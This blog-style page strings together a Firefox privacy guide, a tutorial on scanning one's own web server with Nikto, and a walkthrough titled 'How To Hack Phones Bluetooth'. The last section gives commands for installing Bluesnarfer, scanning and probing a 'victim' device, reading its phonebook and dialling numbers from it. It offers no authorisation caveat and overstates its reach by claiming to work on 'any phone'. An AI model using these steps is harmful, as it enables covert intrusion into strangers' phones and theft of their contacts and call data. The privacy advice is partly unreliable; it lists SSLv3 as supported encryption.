How To Enhance Privacy And Security In Firefox

Do you want to take the next step in protecting your privacy while browsing the web? Using the Firefox Open Source browser you can accomplish your security and privacy goals. With this guide I will show you how to keep your data private and stay secure online.

Configuration

Firefox was designed to be a extremely customizable web browser. It will allow you to tune nearly every aspect of your browsing experience. We shall start with the configuration inside of Firefox itself. Type  about:config into the address bar and push enter. You will see this:



First we will focus on a preference called network.http.sendRefererHeader. The value by default is 2, this is bad for privacy because it will show where you are coming from because it stores habits. This is mainly used by advertisers to generate better focused ads. To disable this setting you will need to navigate to network.http.sendRefererHeader by copying and pasting it into your search bar. Double click the integer and set the number to 0 like so:



The next thing we will focus on is the privacy options built in. Go to the options menu, then go to privacy and follow these settings to ensure you are not tracked.

Web Browsers

Now we will focus on search engines now that your browser won't be tracking you. Search engines will track what you do as well.

StartPage - A is a search engine that was launched  in 2009 by Ixquick and is the worlds most private search engine. They provide results from Google without giving up your identity or habits, keep no logs and are based offshore in The Netherlands.  They support these methods of encryption:

• TLS


• SSLv3


• TLS1.1


• TLS1.2

 

StartPage uses POST requests  instead of GET requests to give your your results by default which even if you have referrer headers enabled, it would prevent sites from knowing your search queries. StartPage also allows you to connect and search from servers outside of your country to separate yourself from the Government.

DuckDuckGo - Another alternative to Google and is similar in policies as StartPage as their privacy policy states they never keep logs. The difference between StartPage and DuckDuckGo is this search engine provides results from other places besides Google such as Wikipedia, Wolfram Alpha, Bing, Yahoo, Yandex,  and Yelp.

Add-Ons

Add-ons can help you lock down on the above settings, and really fine tune your privacy. Here is a list of recommended Add-ons.

1. NoScript


2. Self-Destructing Cookies


3. Better Privacy


4. HTTPS Everywhere


5. Disconnect


6. Adblock Edge


7. Last Pass


8. Ghostery

1. NoScript is one of the most recommended security addons for Firefox. It prevents  Javascript, Flash, Silverlight, and many others from running. This protects you from malicious scripts or any plug-ins can reveal your IP address. We advise that you Forbid Scripts Globally after installation and then whitelist the sites you frequently browse.

2. Self-Destructing Cookies detects and deleted cookies when they are no longer in use. When you install it the addon will automtaically delete all of your cokkies, but you can undelete them as needed as well as whitelist cookies you know you will need. Basically this addon will ensure that you only have the cookies you want, and not the ones that you do not wish to have.

3. Better Privacy is an addon that will clear your cache when idle and will elimitate the threat of Supercookies or Evercookies which are hard to get rid of and detect such as Flash cookies.

4. HTTPS Everywhere basically forces HHTPS on every site that has it, preventing MitM attacks.

5. Disconnect is a add-on that blocks over 2,000 sites from tracking you around the internet, helping increase bandwidth loss and load times, as well as remaining more private.

6. Adblock Edge is a fork of Adblock Plus that blocks ads that Adblock Plus allows by default.

7. LastPass is a password manager that help you remain secure online, you only need to remember your master password and the rest can be generated. Lastpass also has 2 factor authentication, and can preform security audits of all of your accounts to tell you if the site you were registered with has been hacked, and it can help recommend a course of action.

8. Ghostery detects trackers, bugs and more on many websites and will show you what is going on under the hood. While you will not need this if you have noscripts enabled for every site, it is good for detecting what is on your whitelisted websites so you know what they are tracking.

How To Test A Website Or Web Server For Vulnerabilities

Do you want to know how to run some basic tests on your web server to see if it is vulnerable? This tutorial will teach you how to penetrate your own webserver and test for vlunerabilities. This method is very traceable, so I suggest you only use it on your own web servers and with your Hosts permission.
In this tutorial you will learn how to use a simple tool to find vulnerabilities on your webserver. The tool is called Nikto and is ran on Kali Linux.
Step 1: Run Nikto on Kali Linux
We will use Kali because Nikto is preinstalled. Go to: "Kali Linux - Vulnerability Analysis - Misc Scanners - nikto" and run it.



Step 2:  Scan your server
To scan for vulnerabilities on a website type:
nikto -h example.com
You can use this to scan URLs as well as IP addresses. If you want to know the IP of a website just ping it.
Example:
ping example.com


Step 3:  Analyse the server vulnerabilities.
Nikto will give you a report of potential vulnerabilities on the websites server. The scan will give you a list of potential vulnerabilities a hacker could try to exploit on the webserver. Some of the vulnerabilities could be a false positive so be aware of that possibility. Some of the vulnerabilities will be have a OSVDB prefix, which stands for Open Source Vulnerability Database which is a vast database of known vulnerabilities. You can check the vulnerability IDs here: http://www.osvdb.org 

Warning: Only use this on your own server or servers you are authorized to Pen test.

 

How To Hack Phones Bluetooth With Kali Linux And Backtrack

Do you want to learn how to hack a phone via Bluetooth using Kali Linux? The you have come to the right place. In this tutorial we will teach you how to hack any phone, whether it be Android, iPhone or Windows based phone using the power of Kali Linux aka backtrack and exploiting the Bluetooth connection of the phone itself.

 

Step 1. Install Bluesnarfer to your Linux machine using the CMD.

Open the opt directory

 

Make your way to the opt directory:

cd /opt

Download Bluesnarfer using wget

/opt# wget http://alighieri.org/tools/bluesnarfer.tar.gz

Open the directory again using the ls command and see if Bluesnarfer is there, then extract it.

:/opt# ls

bluesnarfer.tar.gz  firmware-mod-kit  metasploit  Teeth

To extract you will need to use the tar xvf command

/opt# tar xvf bluesnarfer.tar.gz

open the directory again with ls to see bluesnarfer there.

/opt# ls

BFi13-dev-18  bluesnarfer.tar.gz  metasploit

bluesnarfer   firmware-mod-kit    Teeth

Open the directory bluesnarfer created

/opt# cd bluesnarfer

/opt/bluesnarfer# ls

include  Makefile  README  src

Finish it off by compiling the install:

/opt/bluesnarfer# make

 

To see  the Bluesnarfer commands run: ./bluesnarfer

 :/opt/bluesnarfer# ./bluesnarfer

 

 

Step 2: Now that Bluesnarfer is installed, configure rfcomm.

 mkdir -p /dev/bluetooth/rfcomm

mknod -m 666 /dev/bluetooth/rfcomm/0 c 216 0

mknod --mode=666 /dev/rfcomm0 c 216 0

hciconfig -i hci0 up

hciconfig hci0

Now to scan for potential vulnerabilities:

hcitool scan hci0

Ping the victim to see if he is there:

 l2ping  < victim mac addr>

Browse the victim for rfcomm channels to connect to:

sdptool browse --tree --l2cap < mac addr >

Now Bluesnarfer is setup. Now you can access the victims phone to see texts, make phone calls etc.

Bluesnarfer -r 1-100 -C 7 -b < mac addr >

To see available commands:

bluebugger -h

To dial a number:

bluebugger -m < victim's name > -c 7 -a < mac addr > Dial < number >

This is what the Bluesnarfer shell should look like:

 

bluesnarfer, version 0.1 -

usage: bluesnarfer [options] [ATCMD] -b bt_addr

 

ATCMD     : valid AT+CMD (GSM EXTENSION)

 

TYPE      : valid phonebook type ..

example   : "DC" (dialed call list)

"SM" (SIM phonebook)

"RC" (received call list)

"XX" much more

 

-b bdaddr : bluetooth device address

-C chan   : bluetooth rfcomm channel

 

-c ATCMD  : custom action

-r N-M    : read phonebook entry N to M

-w N-M    : delete phonebook entry N to M

-f name   : search "name" in phonebook address

-s TYPE   : select phonebook memory storage

-l      : list aviable phonebook memory storage

-i      : device info